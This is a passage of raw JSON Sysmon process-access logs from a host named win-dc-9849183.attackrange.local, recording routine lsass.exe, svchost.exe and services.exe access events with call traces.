11:49:40.313","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.344","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.344\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 